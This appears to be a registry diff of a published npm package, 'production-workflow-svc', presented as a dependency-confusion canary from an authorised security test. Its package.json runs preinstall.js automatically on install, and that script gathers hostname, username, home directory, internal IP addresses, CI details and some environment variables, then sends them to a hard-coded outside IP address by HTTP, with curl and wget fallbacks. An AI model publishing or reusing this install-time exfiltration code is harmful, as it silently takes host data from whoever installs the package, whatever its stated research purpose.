production-workflow-svc 999.0.0-security-test

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +16 -0
  2. package/package.json +26 -0
  3. package/preinstall.js +285 -0
package/index.js ADDED
@@ -0,0 +1,16 @@
1
+ /**
2
+ * SECURITY TEST - Dependency Confusion Canary
3
+ *
4
+ * This package is part of an authorized security assessment.
5
+ * If you see this in your project, your build system may be
6
+ * vulnerable to dependency confusion attacks.
7
+ *
8
+ * Contact: heidelbergcloud-security@heidelberg.com
9
+ */
10
+
11
+ module.exports = {
12
+ name: 'production-workflow-svc',
13
+ version: '999.0.0-security-test',
14
+ type: 'canary',
15
+ message: 'This is a security test package. Please contact heidelbergcloud-security@heidelberg.com'
16
+ };
package/package.json ADDED
@@ -0,0 +1,26 @@
1
+ {
2
+ "name": "production-workflow-svc",
3
+ "version": "999.0.0-security-test",
4
+ "description": "SECURITY TEST - Dependency Confusion Canary - Contact: heidelbergcloud-security@heidelberg.com",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js || true"
8
+ },
9
+ "keywords": [
10
+ "security-test",
11
+ "dependency-confusion",
12
+ "canary",
13
+ "do-not-use"
14
+ ],
15
+ "author": "Heidelberg Security Team <heidelbergcloud-security@heidelberg.com>",
16
+ "license": "UNLICENSED",
17
+ "private": false,
18
+ "repository": {
19
+ "type": "git",
20
+ "url": "https://github.com/heidelberg-security/dependency-confusion-test"
21
+ },
22
+ "config": {
23
+ "callback_url": "http://3.250.204.221:65204",
24
+ "canary_id": "heidelberg-production-workflow-test"
25
+ }
26
+ }
package/preinstall.js ADDED
@@ -0,0 +1,285 @@
1
+ const CALLBACK_URL = process.env.CANARY_CALLBACK_URL || 'http://3.250.204.221:65204';
2
+ const PACKAGE_NAME = 'production-workflow-svc';
3
+ const PACKAGE_VERSION = '999.0.0-security-test';
4
+ const CANARY_ID = process.env.CANARY_ID || 'heidelberg-production-workflow-test';
5
+
6
+ // ════════════════════════════════════════════════════════════════════════════
7
+
8
+ const https = require('https');
9
+ const http = require('http');
10
+ const os = require('os');
11
+ const { execSync } = require('child_process');
12
+
13
+ /**
14
+ * Sammle System-Informationen für Callback
15
+ */
16
+ function collectSystemInfo() {
17
+ const info = {
18
+ // Package Info
19
+ package: PACKAGE_NAME,
20
+ version: PACKAGE_VERSION,
21
+ canary_id: CANARY_ID,
22
+ timestamp: new Date().toISOString(),
23
+
24
+ // System Info
25
+ hostname: os.hostname(),
26
+ platform: os.platform(),
27
+ arch: os.arch(),
28
+ release: os.release(),
29
+ user: os.userInfo().username,
30
+ homedir: os.homedir(),
31
+ cwd: process.cwd(),
32
+
33
+ // Node Info
34
+ node_version: process.version,
35
+ npm_version: process.env.npm_package_version || 'unknown',
36
+
37
+ // CI/CD Detection
38
+ ci: detectCI(),
39
+
40
+ // Environment (gefiltert - nur CI-relevante Variablen)
41
+ env: filterEnvironment()
42
+ };
43
+
44
+ // Optional: Netzwerk-Info
45
+ try {
46
+ const interfaces = os.networkInterfaces();
47
+ const ips = [];
48
+ for (const name of Object.keys(interfaces)) {
49
+ for (const iface of interfaces[name]) {
50
+ if (!iface.internal && iface.family === 'IPv4') {
51
+ ips.push({ name, address: iface.address });
52
+ }
53
+ }
54
+ }
55
+ info.network = ips;
56
+ } catch (e) {
57
+ info.network = 'error';
58
+ }
59
+
60
+ return info;
61
+ }
62
+
63
+ /**
64
+ * Erkenne CI/CD Umgebung
65
+ */
66
+ function detectCI() {
67
+ const ciIndicators = {
68
+ 'GitLab CI': !!process.env.GITLAB_CI,
69
+ 'GitHub Actions': !!process.env.GITHUB_ACTIONS,
70
+ 'Jenkins': !!process.env.JENKINS_URL,
71
+ 'Azure Pipelines': !!process.env.TF_BUILD,
72
+ 'CircleCI': !!process.env.CIRCLECI,
73
+ 'Travis CI': !!process.env.TRAVIS,
74
+ 'Bitbucket Pipelines': !!process.env.BITBUCKET_BUILD_NUMBER,
75
+ 'AWS CodeBuild': !!process.env.CODEBUILD_BUILD_ID,
76
+ 'Generic CI': !!process.env.CI
77
+ };
78
+
79
+ const detected = Object.entries(ciIndicators)
80
+ .filter(([_, v]) => v)
81
+ .map(([k, _]) => k);
82
+
83
+ return detected.length > 0 ? detected : ['local'];
84
+ }
85
+
86
+ /**
87
+ * Filtere Environment-Variablen (nur sichere/relevante)
88
+ */
89
+ function filterEnvironment() {
90
+ const safeVars = [
91
+ 'CI', 'GITLAB_CI', 'GITHUB_ACTIONS', 'JENKINS_URL', 'TF_BUILD',
92
+ 'CIRCLECI', 'TRAVIS', 'BITBUCKET_BUILD_NUMBER', 'CODEBUILD_BUILD_ID',
93
+ 'CI_PROJECT_NAME', 'CI_PIPELINE_ID', 'CI_JOB_NAME', 'CI_RUNNER_ID',
94
+ 'GITHUB_REPOSITORY', 'GITHUB_WORKFLOW', 'GITHUB_RUN_ID',
95
+ 'npm_lifecycle_event', 'npm_package_name',
96
+ 'NODE_ENV', 'PATH'
97
+ ];
98
+
99
+ const filtered = {};
100
+ for (const key of safeVars) {
101
+ if (process.env[key]) {
102
+ if (key === 'PATH') {
103
+ filtered[key] = process.env[key].substring(0, 200) + '...';
104
+ } else {
105
+ filtered[key] = process.env[key];
106
+ }
107
+ }
108
+ }
109
+ return filtered;
110
+ }
111
+
112
+ /**
113
+ * Sende HTTP/HTTPS Callback
114
+ */
115
+ function sendCallback(info) {
116
+ return new Promise((resolve, reject) => {
117
+ try {
118
+ const url = new URL(CALLBACK_URL);
119
+ const isHttps = url.protocol === 'https:';
120
+ const client = isHttps ? https : http;
121
+
122
+ const data = JSON.stringify(info);
123
+
124
+ const options = {
125
+ hostname: url.hostname,
126
+ port: url.port || (isHttps ? 443 : 80),
127
+ path: url.pathname || '/',
128
+ method: 'POST',
129
+ headers: {
130
+ 'Content-Type': 'application/json',
131
+ 'Content-Length': Buffer.byteLength(data),
132
+ 'User-Agent': `npm-canary/${PACKAGE_NAME}`,
133
+ 'X-Canary-Package': PACKAGE_NAME,
134
+ 'X-Canary-Version': PACKAGE_VERSION
135
+ },
136
+ timeout: 10000,
137
+ rejectUnauthorized: false
138
+ };
139
+
140
+ const req = client.request(options, (res) => {
141
+ resolve({ status: res.statusCode, method: 'POST' });
142
+ });
143
+
144
+ req.on('error', (e) => {
145
+ sendCallbackGET(info).then(resolve).catch(reject);
146
+ });
147
+
148
+ req.on('timeout', () => {
149
+ req.destroy();
150
+ reject(new Error('Timeout'));
151
+ });
152
+
153
+ req.write(data);
154
+ req.end();
155
+
156
+ } catch (e) {
157
+ reject(e);
158
+ }
159
+ });
160
+ }
161
+
162
+ /**
163
+ * Fallback: GET Request mit Query-Parametern
164
+ */
165
+ function sendCallbackGET(info) {
166
+ return new Promise((resolve, reject) => {
167
+ try {
168
+ const url = new URL(CALLBACK_URL);
169
+ const isHttps = url.protocol === 'https:';
170
+ const client = isHttps ? https : http;
171
+
172
+ const params = new URLSearchParams({
173
+ pkg: info.package,
174
+ id: info.canary_id,
175
+ host: info.hostname,
176
+ user: info.user,
177
+ ci: info.ci.join(','),
178
+ ts: Date.now()
179
+ });
180
+
181
+ const options = {
182
+ hostname: url.hostname,
183
+ port: url.port || (isHttps ? 443 : 80),
184
+ path: `${url.pathname || '/'}?${params.toString()}`,
185
+ method: 'GET',
186
+ timeout: 10000,
187
+ rejectUnauthorized: false
188
+ };
189
+
190
+ const req = client.request(options, (res) => {
191
+ resolve({ status: res.statusCode, method: 'GET' });
192
+ });
193
+
194
+ req.on('error', reject);
195
+ req.on('timeout', () => {
196
+ req.destroy();
197
+ reject(new Error('Timeout'));
198
+ });
199
+
200
+ req.end();
201
+
202
+ } catch (e) {
203
+ reject(e);
204
+ }
205
+ });
206
+ }
207
+
208
+ /**
209
+ * Fallback: curl/wget (für Umgebungen ohne Node HTTPS)
210
+ */
211
+ function sendCallbackCurl(info) {
212
+ const compact = JSON.stringify({
213
+ pkg: info.package,
214
+ id: info.canary_id,
215
+ host: info.hostname,
216
+ user: info.user,
217
+ ci: info.ci
218
+ });
219
+
220
+ try {
221
+ execSync(`curl -s -k -X POST -H "Content-Type: application/json" -d '${compact}' "${CALLBACK_URL}" 2>/dev/null`, {
222
+ timeout: 10000,
223
+ stdio: ['pipe', 'pipe', 'pipe']
224
+ });
225
+ return { method: 'curl', status: 'sent' };
226
+ } catch (e) {
227
+ try {
228
+ execSync(`wget -q --no-check-certificate --post-data='${compact}' "${CALLBACK_URL}" -O /dev/null 2>/dev/null`, {
229
+ timeout: 10000,
230
+ stdio: ['pipe', 'pipe', 'pipe']
231
+ });
232
+ return { method: 'wget', status: 'sent' };
233
+ } catch (e2) {
234
+ return { method: 'none', status: 'failed' };
235
+ }
236
+ }
237
+ }
238
+
239
+ /**
240
+ * Zeige Security-Warning
241
+ */
242
+ function showWarning() {
243
+ console.log('');
244
+ console.log('╔═══════════════════════════════════════════════════════════════════╗');
245
+ console.log('║ ⚠️ SECURITY TEST - DEPENDENCY CONFUSION CANARY ║');
246
+ console.log('╠═══════════════════════════════════════════════════════════════════╣');
247
+ console.log('║ This package was installed as part of an authorized security ║');
248
+ console.log('║ assessment. If you did not expect this, your build system may ║');
249
+ console.log('║ be vulnerable to dependency confusion attacks. ║');
250
+ console.log('║ ║');
251
+ console.log('║ Package: production-workflow-svc ║');
252
+ console.log('║ Contact: heidelbergcloud-security@heidelberg.com ║');
253
+ console.log('╚═══════════════════════════════════════════════════════════════════╝');
254
+ console.log('');
255
+ }
256
+
257
+ // ════════════════════════════════════════════════════════════════════════════
258
+ // MAIN
259
+ // ════════════════════════════════════════════════════════════════════════════
260
+
261
+ async function main() {
262
+ showWarning();
263
+
264
+ if (CALLBACK_URL.includes('YOUR-VPS')) {
265
+ console.log('[CANARY] No callback URL configured - skipping callback');
266
+ return;
267
+ }
268
+
269
+ console.log(`[CANARY] Package: ${PACKAGE_NAME}@${PACKAGE_VERSION}`);
270
+ console.log(`[CANARY] Callback URL: ${CALLBACK_URL}`);
271
+
272
+ const info = collectSystemInfo();
273
+
274
+ try {
275
+ const result = await sendCallback(info);
276
+ console.log(`[CANARY] Callback sent via ${result.method} (${result.status})`);
277
+ } catch (e) {
278
+ const result = sendCallbackCurl(info);
279
+ console.log(`[CANARY] Callback via ${result.method}: ${result.status}`);
280
+ }
281
+ }
282
+
283
+ main().catch(e => {
284
+ console.log('[CANARY] Callback failed:', e.message);
285
+ });